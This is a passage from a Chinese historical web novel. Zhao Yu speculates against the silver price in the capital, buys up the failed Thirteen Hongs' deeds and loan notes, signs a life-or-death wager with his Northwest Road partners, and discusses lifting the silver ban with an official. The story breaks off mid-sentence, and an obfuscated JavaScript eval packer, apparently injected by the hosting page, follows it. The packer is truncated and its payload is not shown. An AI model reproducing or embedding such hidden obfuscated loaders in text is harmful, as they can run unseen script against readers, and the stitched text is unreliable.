赵毓,“分做法,也分心情。其实我最爱吃天山那边的红柳串的烤羊肉,拉莫孔雀河中捞上来的鱼也不错,烤着吃香的很。哎,你没口福,吃不到。呃,你轻点,……” 过了一会儿,…… “文湛。” “怎么?” “我忽然觉得,其实我挺佩服格非的外祖父。” 文湛不再说话,安静的听着。 赵毓,“他把尹家全部的家当都砸到我身上,只在老家给桂宝儿留了三百亩地吃饭。” “谢枯荣让谢翾飞告诉我,如果我同意联姻,他就同意梅家出妻,格非可以明媒正娶进入梅家。” “还有梅太傅。……他的那个提议看似荒谬,如果真让他以祖产砸到了格非,今后,梅家大公子真有一些什么事,我能做也要做,不能做,为了格非我也得做。他们家的祖产,也不是白拿的。” “对了,文湛,你知道吗,这老头儿今年刚七十,我一直以为他快九十了。你说,他怎么长的这么老?他怎么一直都长的这么老?他说自己十六岁就已经花白了头发,他从十几岁就一下子衰老了,那么,他就可以把衰老一直保持几十年,一成不变。从某种角度上来说,他才是青春永驻,万古长青。” 文湛,“……” 皇帝的指法好,筋脉能疏通开,除了实在有些疼之外,没有大毛病。 赵毓最怕疼,一疼就话多。 “梅太傅致仕快二十年了吧,这些年来已经超凡脱俗的不似在人间。世人眼中,他视万户侯为粪土,只想着著书立传,以文章流传千古,想要成为名垂青史的圣贤。可是,我怎么感觉这老头儿似乎从来没有从朝局中抽身呢?他眼光毒辣,下手快很准,真不像他表面呈现给世人的那张脸。” 皇帝还是不说话,此时,似乎给他怀中的人舒筋活骨,才是他此时最在意的事情。 “文湛。” “如果我答应了他们的联姻,那么,尹氏、梅氏与谢氏,再加上一个被先帝罢黜却依旧活蹦乱跳的前亲王,哦,还有宁淮侯和我娘崔太贵妃,这些人扭起来会形成一个以姻亲和血缘胶合架构的庞然大物。” “这里面有藩镇,有军队的影响力,有清流权臣,有满朝的门生故吏,有勋贵,有后宫太贵妃,以后等我翻身,这个庞然大物甚至连海量的白银也有了。” “要说它能使江山易主,那是痴人说梦,但是,如果说它能党同伐异、影响朝局,是绝对是轻而易举的事情。” 说完,赵毓叹了口气。 文湛,“哪里不舒服?” 赵毓摇头,“他们其实都有些像你。他们比一般人高瞻远瞩,下手更是狠绝,不给自己,也不给对手留余地。在大多数人不知道发生了什么的时候,他们已经开始深耕布局,等一切尘埃落定,成定局之后,大势已成,想要再与他们对抗,就如同蚍蜉撼大树,只能被嘲笑不自量力了。” 文湛,“你拿我同他们相比?” “呃,……”赵毓连忙说,“陛下自然不同。他们是猛兽,陛下是,……” 文湛,“猎人?” 赵毓极其认真的想了想,“不是。” 文湛,“为什么不是?” 如果皇帝是猎人的话,为了吃一口肉活下去,他需要进入猎场,也要同野兽搏杀,并且杀死野兽才能吃到他们的肉,成为活下去的那一个人。可是,其实文湛完全不需要做这些事。 在西北,赵毓总是说一句话,——反复交易才能夯实价格。 按照这句话的走向,文湛掌权的价格就是用无数人头反复拼杀夯实的。这里面既包括开国平天下时的万里枯骨,也包括历代没有登基的皇子们的血肉,还有这一千多年来,被极致权力碾压到血肉横飞的死魂们。 想要撼动帝位,除非乱世降临,群雄并起,天下重启一场问鼎逐鹿的游戏。这些重臣仅仅凭借手中这些精致的权柄就想更进一步,无异于在流沙上建雕梁画栋的宫殿。这点道理,赵毓觉得自己不够聪明都能看得到,那些大人们不可能不懂得。 那些大人们不是想要皇权,他们像要的是尽可能把皇帝当成一个挂在庙堂上被人顶礼膜拜的圣像,在名贵的烟雾缭绕后,慈悲的看着他们。 ——他们可以是为国为民、鞠躬尽瘁死而后已;还可以刻苦读书,先天下之忧而忧;更加可以享尽人间富贵荣华,诗酒趁年华。 总之,他们做什么都可以,但是,必须确保做这些事情的人,必须是“读书人”,而不是别人。 …… 赵毓终于感觉到自己筋脉通透了,他伸了伸腰,“陛下不是猎人,因为,……,陛下是运河码头啊!” 文湛,“……” 西北道的水盆羊肉非常有名,羊肉用大锅炖煮,大盆盛满,羊汤金黄纯粹,即使是赵毓这么不爱羊肉膻味的人,见了这样的羊汤也能连喝三大碗,就着白面馍馍吃一整块羊肉。 可惜,他今天是彻底没有口福。赵毓回家换衣服,刚进门,就看见章春秋在他们家吃炒肝包子。——赵大妈做的。 “章先生,您还在雍京城?” 自从十三行摘了招牌,据说雍京江湖上已经接到很多条“追杀令”,有一些人花“重金”要杀章春秋。所谓重金,也只是相对的,因为与十三行拒绝兑付的债务比较起来,这些买命的钱不过是沧海一粟,九牛一毛。 “马上走。”章春秋也瘦了,脸颊塌了下去,比之前更干瘪,“赵先生,我这次来,有生意要同您谈。” 赵毓听着都想乐,“呃,……你们欠了我几十万两白银以八千两银子抵了债,我们之间还有什么生意能谈?” 章春秋,“绮镇的地契。” 赵毓听着一挑眉。 章春秋,“十二万两,您拿走。” 十三行这次宁可摘招牌也拒绝兑付自己的债,实在丧心病狂。而且,更丧心病狂的事情是,他们手中有硬货,大量的土地和债票,这些都是好东西,他们宁可把这些再卖一遍也不用来抵债。 说完,他伸出胳膊,手却隐藏在袖子中。 这是江湖上的规矩,在袖筒中以手指相对,来进行掩人耳目的讨价还价。 赵毓也伸出手。 赵毓,两万。 章春秋,十万。 赵毓,四万。 袖筒中已经比划好了手指,赵毓忽然开口,“五万,我现在给你银票。” 章春秋,“哪家票号?” 十三行的银票已经彻底废了,江湖上没有人再承认它们,再愿意使用它们,再愿意储存它们,它们从“宣纸做的白银”成为了一张一张的草纸。 其他那些小的钱庄票号朝不保夕。更糟糕的是,这些小的钱庄票号现在手中并没有白银,所以他们发的银票都是无根浮萍。 他们的白银全部抵押进了雍京西城的赌局用来押宝银价狂升。目前,雍京银价高昂,他们还没有彻底死透,全靠了这些虚幻的账簿上富贵。 赵毓,“西北道的汇票。” 章春秋点头,“成交。” 两人松开手指。 赵毓忽然问,“你们手中还有什么?” 章春秋,“一些地契,都是雍京周围的地,几乎都连在一起,位置不错。” 赵毓点头,“好,我都要。” 章春秋,“除此之外,还有三百位生员的借据。我不骗你,其中一些已经是呆账了。这里面,有些人不要说进士,就是举人都没有考中,至今还是白身;有些考中了,但是没有放实缺,也很难说以后有什么前途;还有一些仕途倒是走的不错,就是折了。他们丢官倒是小事,这山不转水转,以后不定遇到什么机遇就能起复,但是遇到抄家灭族的大祸,这就麻烦了。这份名单上有几位大人就是重罪,已经死了,家人该灭的灭,该流放的流放,咱们就算有借据也不能再去找人家后人要债吧。” 十三行做生员的借贷生意。 家境清贫的读书人,一旦考中了秀才就有了功名,但是不能做官,如果想要再进一步,家中穷苦实在难以为继,此时,十三行就会看此位读书人的资质进行资助,等以后这位生员金榜题名,再继续追加资助。如果这位生员熬成大人,再平步青云,成为封疆大吏,十三行与他分账,得到的回报就会异常丰厚。 只是,任何生意都有风险,这个也是。 就像章春秋说的,有些生员看着不错,就是时运不济,根本考不出来;还有些考中倒是考中了,就是怎么也放不了实缺;最后,就算一切顺利,也做了疆臣,可是刮地皮实在太狠,最后落了个折戟沉沙的下场,十三行秉承“人死债消”的原则,也不能再向人家好不容易活下来的苗裔逼债。 章春秋,“这些借据有呆账就有好账,所以我裹在一起卖,不拆。其中有几位大人已经红了,都是上好的肥缺,我们划定的是十年的分账,你拿着他们亲手写的借据,不会亏。” 赵毓点头,“好,我要。还有吗?” 这次换章春秋惊讶了,“赵先生,我说句不该说的话,您押宝银价狂泻可能真的要输。现在银价一天一个价的狂涨,您正在跟整个雍京城所有钱庄票号打对盘,您自己都已经是泥菩萨了,再吞这么多的货,不怕噎死?” 赵毓,“饱死鬼总好过饿死鬼。” 章春秋的目光像钩子一样在赵毓脸上刮,最后,他说,“吉王抵了一个庄子,风水极佳,这是他的旧封地。那里因为与雍王在北城的猎场挨着,雍王想要这封债票,我还没有最后答应他,如果你敢要,我就给你。” 赵毓,“吉王抵封地做什么?” 章春秋,“还能为什么,兑了白银去押宝。封地虽然好,可是佃户们老老实实的种地产粮,一年能有多大的收获都是有数的,这个雍京赌局不一样。银价一天一个价,早一些把土地抵押兑出白银,去西城下注,不过十几天的光景,钱财就能翻倍。所以我说,赵先生如今是在同整个雍京城为敌,即使赵先生是铜皮铁骨,一个不慎,就会被这大势碾的粉身碎骨。” 赵毓,“多谢章先生。您出雍京,我就不送了,以后如果有缘,我定会南下找您喝酒。” 敦煌会馆。 一张又长又直大木桌摆放在讲武堂上,坐在这张木桌上吃饭的人们异常安静,并且他们的座位排次可以使他们的地位立刻显出差异,上下尊卑异常分明。 萧呈自然坐最中|央,他左边空着一个位子。众人埋头,十分珍惜食物,将自己面前大瓷碗中的羊汤、羊肉和面馍吃的干干净净。只有萧呈左手的碗一直是满的,没有人吃。现在已经是初冬了,这碗羊肉汤冷的很快,不一会儿,一层羊肉结成为白色的凝脂,逐渐飘到汤水的顶部。 众人用过早饭,仆从收拾干净,只是,那碗没有人动过的羊肉汤依旧放在那里。 腥膻的味道隐隐升起。 就像是在座人的心。 “西城的赌场已经开市了,赵毓已经追加了订金,依旧押银价跌。他用的是西北道云中分号的汇票,出自尹家。” “十三行章春秋已经出雍京城了,向南走,他们十三行手中的东西出了不少。” “赵毓暗自接盘了一些银庄票号的硬货。” …… 众人坐在这里,西北道的这些账房、伙计接连不断的送回消息。 萧呈一言不发,只是在听到他们说‘赵毓接盘了一些硬货’之后,忽然问了一句,“赵毓手中有多少咱们云中分号的汇票?” “这次,他用的不是云中的汇票,而是,……” “是什么?”老八昌渡陡然喝叫一声,吓得报事的伙计有些懵。 萧呈看了一眼昌渡,以端正的声音问那个伙计,“他不用云中汇票,那他用什么?” “西北道赵字头的汇票,七天为期,到期兑现银。” “胡闹!” 这一次,萧呈也忍不住。他们手边已经没有多少现银了,就算有,现在这个关头也不能再兑了。如今十三行宁可摘招牌也要自绝江湖,就是觉得这趟水实在太深,他们顶不住了。 西北道如今也是一日一日的煎熬,他们比别人日子好多一些,一是他们毕竟有些家底,二则是外人手中很少有他们的汇票,所以,他们被挤兑的风险就很小。如今赵毓擅自动用西北道的名号写汇票,虽然是赵字头,是他自己的名字,可是这些汇票归根结底,都要算到西北道的头上,最后,西北道怎么也要兜底,这是所有人都不愿意承受的“死亡兑付”! 昌渡此时痛心疾首,他扶着自己的心口说,“老大,我觉得老赵最近有些魔怔了,他定是被人下了降头。” 萧呈亲自走到薛宣平面前,一把揪住他的衣领子,把他胖大的身躯从大号木椅上揪起来,“去找赵毓,如果他不来,我砍断你的腿。” 薛宣平原本还是笑滋滋的,听到萧呈这样一说,脸陡然僵住。 萧呈生气了。 他异常识时务,连忙从萧呈铁一样的手指下把自己的衣领子拉出来,随后,像一只被猎狗追逐的三百斤的兔子,一下子蹿出敦煌会馆的大门,奔向赵毓的兰叶巷。结果,赵毓不在。 “我们老爷在南城的留园。”赵大妈昂着一张硕大的饼子脸,“薛老爷,你饿不,我给你盛碗炒肝?” “拉倒吧。我都快成炒肝了。大姐,我得赶紧去南城,您自己吃啊。” 坐落在雍京南城的留园此时完全封闭,薛宣平倚仗自己的脸被守门人认出而被准许进入。 这里是赵毓的私产。 此时,空无一位客人。 偌大的花园前面的空地上是几排巨大的长桌,几十个账房正在全神贯注拨弄着桌面上的算盘珠子,而另外一只手的旁边则是厚厚的账簿。 这些都是赵毓的人,事实上,薛宣平一直不知道赵毓究竟有多少账房。 此时,他看到赵 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“不然你以为财是怎么发的?”赵毓安静的喝茶,等待最后一本账簿,“想发财,就是要绝对不公平的交易,成本就是维护这种不公平所付出的代价。现在,雍京城的白银不是深埋地下,就是抵在西城赌局了。十三行的银票成了草纸,其他几家小的钱庄票号承受着挤兑,他们签发的银票信用不够,现在雍京城除了认现银,就是认咱们西北道的汇票。咱们维护这个优势,就是发大财需要付出的成本。现在满地黄金,不捡起来,岂不是暴殄天物?” 薛宣平,“咱们也没现银了。你发这么多汇票,七天之后都是要兑现银的!要是咱们兑不了,西北道就得跟十三行一样摘招牌,今后十年、甚至二十年都翻不了身!你这哪里是捡黄金,你这是自己给自己脖子上吊根绳!” 赵毓低头喝茶。此时,黄枞菖将最后一本账簿拿过来,“齐了,一切都好,没有问题。” 薛宣平赶忙起来,“成了,你这里完事儿了,赶紧跟我去一趟敦煌会馆,不然,萧老大要把我剁了下酒。” 赵毓摇头,“那不能够。” 薛宣平,“怎么不能够?萧老大皈依佛门,进入西北道之前做过什么,你又不是不知道。赶紧跟我回去,省的他找你麻烦。” 赵毓也起身,“好。” 敦煌会馆中气氛凝重,赵毓回来也是安安静静的,他对着上座的萧呈微微点头,随后,就安静的坐在属于自己的空位上。 萧呈,“方才老八说你被人下降头了,你不解释解释?” “老八见识真广博。”赵毓低头笑了笑,“这有什么可解释的?咱们西北道短短十年崛起成可以同十三行分庭抗礼,倚靠的可不是勤勤恳恳、任劳任怨,学着那些走街串巷的货郎,一根针一堆丝线的赚一些零鸡狗碎。咱们也不是江南那些小财主,置办几台织机,雇佣几个工人来织绸,然后一匹丝绸一匹丝绸的卖出去,积攒下一轮买蚕丝的本钱。西北道的崛起建立在大笔下注和逆向而为之上。眼前我就做了这两件事,大家有什么不明白的?” 萧呈感觉自己一口气没上来,他居然被自己给呛住了,开始剧烈的咳嗽,最后,仆从给他倒水,又是捶背,终于让他把这口气顺了过来。 “赵毓!逆向而为可不是逆势而为!”萧呈,“你现在做的事情是将我们西北道彻底掏空。我说过,我们不怕输,甚至不怕死,但是我们不能眼睁睁看着你把大家都拖下水,一脚踏进明明白白的深渊,最后因为你的任性让所有人万劫不复。你可以去死,但是不拉着弟兄们陪葬!” 闻言,赵毓不再说话,安静的坐在那里,像一个汝窑出的梅瓶。 周围也无人开口,安静的掉一根针都能听得清清楚楚,明明白白。 还是赵毓开口了,“您是老大,您说怎么办?” “老规矩!”老八昌渡忽然开口,“签生死约!” ——生死约,这是西北道解决纷争和敌人性命的传统。 昌渡,“老赵你和我们对赌。咱们以七天为限,如果,这里出现了我们认为会出现的挤兑,老赵,你的一切家当,还有你在西北道所持有的所有份子都要拿来填这个坑,填不上,你就偿命。” 赵毓点头,“好。如果没有出现没有挤兑,没有风波,咱们一切安稳,并且稳稳赚钱,昌渡,还有今天与我对赌的人,你们的全部身家,西北道所有的份子就抵给我。” 萧呈瞬间有一丝犹豫,“赵毓,已经没有什么东西了吧。” 昌渡咄咄逼人,“他有份子,有留园,在南方还有庄子,就是目前看来远水不解近渴。挤兑要是发生,弟兄们给他填坑,最后,他的一切拿来填弟兄们的坑。怎么样,老赵?” “好。”赵毓非常安静的点头。 账房文书捧着一个木盘子,里面是写好的对赌契约,赵毓左手拿过狼毫,很认真的写下自己的名字。 “谁要与我赌生死约?” 在场的众人依次,写下自己的名字。——赵毓的身家,谁不想分一杯羹? 昌渡写完,双手拿过来,放在萧呈面前。 萧呈的确有些犹豫了,他抬眼,看着赵毓。——他似乎永远不知道这个人到底在想什么。 现在的雍京城已经成了致命的漩涡,他们眼前是明明白白的深渊,赵毓并不是一脚踏进去,他是全无顾忌,直接蹦下去。 他为什么这么笃定自己会赢? 萧呈又看了看薛宣平,这个大胖子十分专注的吃着自己眼前的桃子蜜饯,似乎周围发生的任何事情充耳不闻。只是当对赌生死约传到他面前的时候,他让账房把他的名字写在赵毓旁边,随后,举起大拇指,沾了朱砂印泥,直接在“薛宣平”三个字上印上一个大拇指手印。 几天前,薛宣平的声音言犹在耳。 …… “如今的雍京城就是那座神山,咱们身处其中,只能看到眼前这点东西,有大树,有白雪,有雾气,周围肯定也有豺狼虎豹,有陷阱,甚至有我们自己人背后的冷箭。我们想要走出去,只能拿着脑袋在探路,探一步,走一步,只是,要是行差踏错一步,都有死无葬身之地的危险,赵毓却不会。” “老赵就站在最高山的山顶,已经接近天边了,他从那儿向下看。”薛宣平说着,还抬手指了指敦煌会馆的楠木大梁,“我觉得他能看清楚雍京全境。” …… 雍京全境。 他赵毓何德何能,可以让薛宣平笃信,他能看到“雍京全境”? “老大。” 此时昌渡忽然到他身边,以极低的声音说,“赵毓即使是能越过珊瑚海的大宝船,也是将要沉没的大宝船。我得到消息,他还有巨债,如果此时持有这封债票的主人得到他大厦将倾的消息,而出山兑银,他就真正的万劫不复了。” “什么巨债?” “鸾。” 一听这个字,萧呈后背冷汗都出来了。 他知道这个鸾字头的债票,那的确是赵毓的巨债。七年前,赵毓从雍京回西北,萧呈隐隐约约听到有这个东西,但是具体是什么,他也不清楚,他只是知道这封债票封印的白银更多,比永镇山川还要多,多得多,…… 昌渡,“老大,当断则断,不然,……,反受其乱。” 萧呈下定决心,把自己的名字,写在赵毓对面了。 88. 88 88 西北道生死对赌是天大的事,如同东海扬波,整个敦煌会馆虽然表面上鸦雀无声,实质上已经被卷入巨浪。 众人却在赵毓那张如同贴了宣纸一般的面孔上看不出任何表情。等生死约签定,赵毓冲着萧呈和在场的所有人拱了拱手,就走了。只是,在他出门上马,扯住缰绳回望一眼,正好看到以巨木构架的四面八角楼上挂着“西北道”的匾额。午后的日头有些晃眼,他昂头正对着匾额闪的光,于是,微微眯了一下眼皮,随即手下缰绳一扯,打马过雍京,直奔南城留园。 薛宣平把所有事情善后,在快掌灯的时候,也到了留园找赵毓。 “你来的正好。”赵毓还挺高兴,“我刚才还想说找人叫你过来一趟。你饿不饿,先吃点东西吧。” 花厅中摆了一个大八仙桌,上面摆着八凉八热,一份热汤和樱桃果肉做的酸浆醴酪,和几个小坛子黄酒。 “留园做的是吃喝玩乐的买卖,你这里的厨子得意,看这一桌菜,啧啧,就是皇帝老爷子吃的也不过就这些吧。” 黄枞菖刚拿了一个大碗过来,就听见薛宣平说了这么一句,随后看了他一眼。 薛宣平没搭理他,他现在全部心思都在这满桌子的饭菜上。他一伸手扯过一只烤鸭子腿,以鸭子脆生生的皮蘸了蘸白糖,放嘴巴里面一放,……,入口即化,油脂带着甜味,他感觉自己的肚子似乎被刨开,可以把一桌子的好东西都倒进去。于是,他放开了肚量,像蝗虫一样,扫荡了整个八仙桌,不一会儿,这里只剩下残羹剩饭。 赵毓看着他吃,然后问了一句,“饱了吗?” “呃,……,先这么着吧。” “你别这样。我好不容易请你吃个饭,再怎么着也不能不让你吃饱,黄瓜,你到后厨,把炖的那个佛跳墙端过来。” “呃,……”黄枞菖贴着赵毓的耳朵,极其轻的声音,“一会儿陛下过来,这桌上都不剩什么了,要是咱们再把佛跳墙端出来,让他吃什么?” 赵毓,“我记得厨房还有挂面,实在不成,就给他煮个挂面卧鸡蛋,……,呃,卧俩鸡蛋吧。” 黄枞菖也没办法,就把炖着佛跳墙的瓦罐从后面端了出来。薛宣平几下子就把里面的干货全捞走,最后,还撕开一坛子黄酒,仰着脖子咕咚咕咚一饮而尽,放下坛子,拍了拍肚子,“饱了。” 赵毓本来也有些饿,只是一看到他这个吃法,把他的饿劲给吓回去了,他就一开始喝了几口菌汤,没吃别的,他见薛宣平吃饱了,点了点头,“饱了就好。” 黄枞菖,“幸亏这位爷没生在我们村,不然,刚紧着您一个人的口粮,我们半个村都得饿死。” 薛宣平,“今儿个一天波浪壮阔的,我害怕,没敢吃东西,这不,晚上事情都了了,我也饿了,就吃的有些,……,嘿嘿,见笑见笑。” 赵毓,“老薛,今天这场对赌,你怎么敢站在我这边,和整个西北道打对盘?你不怕最后输的当大裤衩子?” 薛宣平,“不瞒你说,我连退路都想好了,去一个大官家做厨子。我原本就是你的伙夫,这老本行一直没放下,要是真输了,反正我不填命,顶多赔钱。我想得开,这钱财身外物,生不带来死不带去,我有手艺,饿不死。别说这些了,你不是有事要找我,作甚?” “到书房再说。”赵毓说着,端了一小碗樱桃酸浆醴酪,边走边吃。 留园是雍京城有名的园林。虽然比不了号称“凤阁龙楼连霄汉,玉树琼枝作烟萝”的原祈王府,但是这里的亭台楼阁也做的如同山水画中一般。留园曾经是宁淮侯的府邸,当年宁淮侯崔珩因为他表弟非帝裔被罢黜王爵的时候受到牵连,而被抄了家,留园也被查封。后来,不知道怎么着,居然到了赵毓手中。 “老赵,我一直想问你,那么多园子你不买,怎么买这个奇怪的地方?你不怕这里风水不好?” “风水不好?”赵毓仔细吃了一个樱桃,“留园的原主人虽然曾经被抄家,可是现在呢?崔珩的名字写在大郑三十二侯府的名碟上,东山再起了。这里风水好得很。” 薛宣平,“这话这么说,也合适。不过,那位崔侯为什么不把留园再买回去?” 赵毓,“我怎么知道,我又不是他。你话怎么这么多?” 薛宣平,“我一害怕就话多。我今天过的提心吊胆的,这不,刚松快一会儿。” 书房中,赵毓的酸枝大案上摆着十几种银锭,除去没有江南的一窝丝,其他大郑全境的银锭都全了,另外,这里还有南洋进来的墨西哥白银,藏区的银元,西疆八回部的银锭,还有一些番邦“佛头”,和一些散碎银两。 “这是我从西城赌局和一些地下钱庄还有黑市搜集到的银子。”赵毓说,“这边几种我能看出门道来,可是这一块,我感觉有些疑问。”说着,他给薛宣平一块小银锭,“这个模样看着像蒙古诸王铸造,可是,成色却不一样。” 薛宣平拿过来,仔细看了看,口中却问赵毓,“你从西城赌场拿回来的锭子?他们给你?真邪性。” “这个你就别管了。” “老赵,你给我说句实话,你相信雍京这个银价会砸下来吗?” “我算着差不多了。” 赵毓说,“我一直让账房看着也算着雍京的银货交易,最近一段时日,外地白银流入雍京城的量比之前要大,大得多。人往高处走,水往低处流。这么高的银价就是一个大坑。” “雍京这里的白银天坑可以把大郑全境甚至海外的白银都吸进来。白银少的时候昂贵,等到银子多到烂大街了,还能继续这么昂贵吗?” “话是这么说,可是,……”薛宣平,“你怎么能算的清楚整个雍京城到底有多少银子?这里水这么深。” 赵毓把樱桃酸浆醴酪吃完,将碗放在一旁。 薛宣平忽然拿起来那个碗,“这是官窑瓷,呃,还是今上元熙年间的珍品,你怎么有这个?” 赵毓看了看他,“我有个朋友,开了个瓷窑,专门仿造市面上卖得好的瓷器。做工精湛,怎么样,连你都懵住了吧。” “仿品?”薛宣平又仔细看了看,“不像啊,……,不过你还别说,三百六十行、行行出状元。你这个朋友一招鲜,以后不愁没饭吃了。” 说完,他这才恋恋不舍的将瓷碗放下,黄枞菖连忙收走了。 文湛到了。 薛宣平见到他,还挺热情,“小哥儿,你晚了一步,我们刚吃完饭,那佛跳墙炖的,嘿!” 文湛看了他一眼,赵毓过去,对他说,“一会儿我给你煮挂面吃。” “好。”文湛笑了笑。 薛宣平把手中的银锭舔了舔,又咬了咬,终于,他对赵毓说,“这是东瀛德川幕府的白银。” 赵毓,“我也曾经怀疑过是他们的东西,可是,这个银锭的成色不对。这块银锭成色太好了,不像他们平时用的那种泥沙掺半的银锭。” 薛宣平,“石见银山那边的矿跟别处不一样,我一舔就知道。老赵,你也舔舔,看看味道是不是有些苦?” 说完,他把手中这块还沾着他口水的银锭在文湛面前,递给赵毓。 赵毓,“……” 薛宣平,“我教你这一招,以后,你只要一根舌头就能把全天下银锭的来历分辨清楚。” 文湛从木案上拿起来三张雪浪笺,裹住薛宣平手中的银锭,接过来。 薛宣平,“……” 赵毓当然不可能真正去舔,文湛将银锭放回在木案桌面上。 薛宣平忽然觉得有些上头,“我就喝了那么一小坛子黄酒,怎么会晕?” ——六十年的绍兴黄,刚从禁宫的酒醋面局中刨过来,酒量不好的人一小盅就醉倒,你那一坛子一饮而尽,难道你还想上山打虎? 赵毓让黄枞菖找人,套了马车,把薛宣平送回家。 不过,上了马车临走的时候,老薛舌头肥大的问了一句,“那些改头换面的银锭是哪儿来的?” 没等赵毓吱声,他就爬倒了。马夫不紧不慢的赶着马车,在雍京夜色的长街中缓缓离开,赵毓挥了挥袖子。 等赵毓回屋,面已经煮好了,文湛面前一碗葱花挂面,还趴窝着两个荷包蛋,旁边是一个小盘子,里面是留园的厨子自己腌的咸菜。 文湛,“这些东瀛的白银是哪里来的?” “东北,肃慎人。”赵毓回答。他面前的这碗面上滴了香油,文湛又给他夹过来一个荷包蛋。 “我记得你说过,德川幕府的白银不允许出海。” “嗯,当时我们为了换一些能用的日本白银,还绕道去了鹿儿岛。市面上见到的东瀛白银都掺了很多杂料,老薛不喜欢咬他们的银锭,说一舔就一嘴的泥沙土块味道。这一次从肃慎人那边流进来的日本白银却纯度很高,的确奇诡的狠。” “兵来将挡水来土掩。”文湛吃着面条,“不怕。” 赵毓,“他们之间隔着海,还隔着雄鹰也飞不过去的崇山峻岭;他们与我们之间还隔着山海关。就这样,也挡不住。” 白银的流淌就像一条可以腐蚀一切雄关漫道的河流,大鲜卑山挡不住,天下第一关照样挡不住。 这一夜睡的很踏实,文湛睁眼发现身边没人,他稳稳了心神才起来。 外间屋有声音,还有食物的香气。他披着外袍走过去,看见赵毓就着一个瓦盆正在熬粥。小瓦盆放在泥炉子上,下面烧着银丝碳,没有一丝烟火气。 “醒了?”赵毓手中的木勺子搅了搅了米粥,随后,把一盘切好的鲜鱼放进去,“昨天没让你吃好,今早给你煮一份生滚鱼片粥吃。” 这个香气,这个小泥炉子,这个小瓦盆,还有这个人。 ——文湛自己就像是御花园中朱红色墙面上经年不朽的蔓藤,把承怡围住,狠狠缠绕。他曾经挣扎着想要剥离,结果却让两个人血肉模糊,幸好,他不动了。 皇帝忽然觉得,他半生踏过惊涛骇浪的杀伐,一生都要面对“天下汹汹,觊觎御位者不知凡几”的恐惧,似乎在此时,都得到了抚慰。 “给你加点果子和小葱吗?”赵毓给他盛了一碗。 “好。” 赵毓这些天不回家中,也不去宫里,一直住在留园。 对赌后的第一天,风平浪静。 第二天,依旧平和,只是有一些小风浪,却是好事情。西北道赵字头的汇票开始在雍京流通。 第三天,风浪高了一些。坊间都传,西北道赵字头的汇票隐隐有之前十三行的银票的架势,成为新的“宣纸做的白银”。 第四天,因为现银缺少,有些人开始囤赵毓的汇票。 第五天,坊间传闻,西北道将要兑付一封巨额债票,此封债票名号是“鸾”,这封债票将要掏空整个西北道,他们之前发的所有汇票都不会再兑付现银,原本就有风浪的雍京显出风高浪急之势。 第六天,秉承“逃命时,不一定跑的最快,但是一定要比别人跑的快”的活命王法,所有持有赵字头汇票的债主都想要比别人更快的兑到现银,无奈,时间未到。 于是,大批人开始在敦煌会馆门前聚集。明天一早,西北道要开银库兑现银,债主们觉得,即使自己不能第一个拿到银子,也要抢在现银兑光之前,把手中的宣纸兑付出去。 ——宣纸做的白银? 有买有卖的时候,可以随时兑付白银的时候,它就是白银。如果一旦出现拒兑的情况,哪怕缓上一段时日,它也会迅速腐朽,比草纸还不如! 货币,最好是真金白银,因为无论世道如何变,它就在那里,不与山河同朽。 圣人也说:货币必皆五行百产之精华,山川、阴阳所炉备,绝非易朽易伪造之物所能刑驱而势迫。 留园似乎不在风浪中。 九月的时候,梅子成熟,这里的厨子贮存了一些,做成梅子果脯,放在琉璃盘子当中,端上了桌子。而赵毓胃寒,如今天凉再加上夜雨连绵,就让黄枞菖给他温了一坛子太雕。他最近得了一本春|宫,把龙阳之好描绘的极其精妙,此时翻看,竟然有一种“雪夜闭门读禁/书”的文雅。 外面似乎有客人。 小厮提着马灯引着客人前行。 赵毓在水榭上向外看,外面冰冷一片,他只看见一盏灯似乎在水雾中飘荡,一直到近前,——楚蔷生? “蔷生怎么想起来我这里?” 楚蔷生进屋,看见赵毓桌面上摆着一碟子青梅脯,一坛子温好的黄酒。 他没说话。 赵毓拿起来酒坛子给他到了一盏酒,“尝尝,这是六十年的绍兴黄,前几天刚从酒醋面局的地窖中刨出来的。” 楚蔷生将外罩的披风脱下,黄枞菖连忙接住,拿到一旁。 “承怡,我有事。” “好,什么事?” 楚蔷生坐在赵毓对面,极认真的说,“银禁。” “……” 赵毓也给自己倒了一盏酒,“这是朝政,为什么找我?” “为了让圣上开银禁,我用尽了心机。我带着梅太傅的儿子去你家,其实就是为了让圣上亲眼目睹银价高昂之下的血腥。即使珍贵如令千金,在这种情形下,也只不过是可以称量的货品。” 赵毓点了点头,“我知道。” 楚蔷生,“写在奏折上的苦难与正面直视,甚至是亲身感受,决然不同。” 赵毓,“我知道,你是觉得刀不砍在自己身上不见血是不会疼的。你的确把我砍的血肉横飞,让陛下也跟着,……” 楚蔷生,“如果,以后我因此获罪,你千万要袖手。” “蔷生看轻陛下了,就我自己来说,翻遍史书,亲历先帝今上两代,能以先生为相的帝王,只有陛下。裴相掌权的时候我还小不记得,杜首辅横霸朝纲几十年,他伺候先帝,得到先帝信任,因为他有一种特殊的谄媚,这一点,楚楚你就没有。历代帝王喜欢纯臣,完全没有私心一心为主上,但事实上这种人是不存在的。陛下从来没有这种妄图,他知道以圣人的标准来要求人,要求别人成为圣人,就是虚妄。” 赵毓吃了一颗梅子。 “我们都对银价高昂之下的民生之苦有切肤之痛,可是,蔷生,这与开银禁有什么关系呢?” 楚蔷生,“只有彻底开银禁,规定白银为我朝的法定货币。这样可以正式动用市舶司之外民间海商的能力,通过海外贸易大规模以丝绸、茶叶换取海外白银。到那时,大郑境内的白银才能源源不断的供应。” 赵毓,“太阿倒持。” 楚蔷生一愣,“什么?” 太阿,相传为春秋时期欧冶子铸造的千古名剑,楚国镇国至宝,王者威道之剑。如果把象征天下王权的古剑倒着拿,那岂不是把极致权力拱手他人? 楚蔷生自然知道这个词的含义。 他只是意外。 赵毓,“把供应白银的生意交给民间海商,谁受益?是朝廷吗?” 楚蔷生没说话。 赵毓又吃了一颗梅子。 “受益的人,首先是这些海商。他们手中会拥有大笔白银,之后,他们要怎么做?把白银无偿上缴给户部吗?自然不可能,他们一定会无所不用其极得到更多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 